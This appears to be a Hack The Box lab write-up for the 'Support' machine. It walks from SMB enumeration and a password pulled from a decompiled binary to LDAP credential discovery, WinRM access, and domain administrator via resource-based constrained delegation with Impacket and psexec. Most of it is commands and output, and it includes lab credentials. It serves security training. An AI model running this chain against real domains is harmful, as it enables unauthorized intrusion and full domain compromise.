Hack The Box - Support

User

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

we have smb

❯ smbclient -L MACHINE-IP -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	support-tools   Disk      support staff tools
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

checking support-tools

❯ smbclient //MACHINE-IP/support-tools -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 22:31:06 2022
  ..                                  D        0  Sat May 28 16:48:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 16:49:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 16:49:55 2022
  putty.exe                           A  1273576  Sat May 28 16:50:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 16:49:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 22:31:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 16:50:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 16:49:43 2022

		4026367 blocks of size 4096. 959812 blocks available
smb: \> 

odd one out is UserInfo.exe.zip

opening the exe file with dnspyex

after analyzing we find LDAP password nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

❯ ldapsearch -xLLL -H ldap://MACHINE-IP -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'dc=support,dc=htb' '(sAMAccountName=support)'
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20260608085713.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 90325
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 134253826330567270

Ironside47pleasure40Watchful found in info

❯ nxc winrm MACHINE-IP -u support -p 'Ironside47pleasure40Watchful'
WINRM       MACHINE-IP  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) 
WINRM       MACHINE-IP  5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)

works for winrm

*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
b7a7de5ee73ed487cbc5477c2de7e6cc

user pwned!

Root

member of shared support accounts GenericAll over DC computer object

now

echo 'MACHINE-IP support.htb dc.support.htb dc' | sudo tee -a /etc/hosts

❯ addcomputer.py support.htb/support:'Ironside47pleasure40Watchful' -computer-name 'pwn$' -computer-pass 'pass' -dc-ip MACHINE-IP
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account pwn$ with password pass.

❯ rbcd.py support.htb/support:'Ironside47pleasure40Watchful' -delegate-from 'pwn$' -delegate-to 'DC$' -action write -dc-ip MACHINE-IP
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] pwn$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     pwn$         (S-1-5-21-1677581083-3380853377-188903654-6101)

getST.py support.htb/'pwn$':'pass' -spn cifs/dc.support.htb -impersonate administrator -dc-ip MACHINE-IP

❯ export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

❯ psexec.py -k -no-pass -target-ip MACHINE-IP support.htb/administrator@dc.support.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on MACHINE-IP.....
[*] Found writable share ADMIN$
[*] Uploading file feuGRIeP.exe
[*] Opening SVCManager on MACHINE-IP.....
[*] Creating service cJfe on MACHINE-IP.....
[*] Starting service cJfe.....
[!] Press help for extra shell commands                                                                                                                  Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
[REDACTED]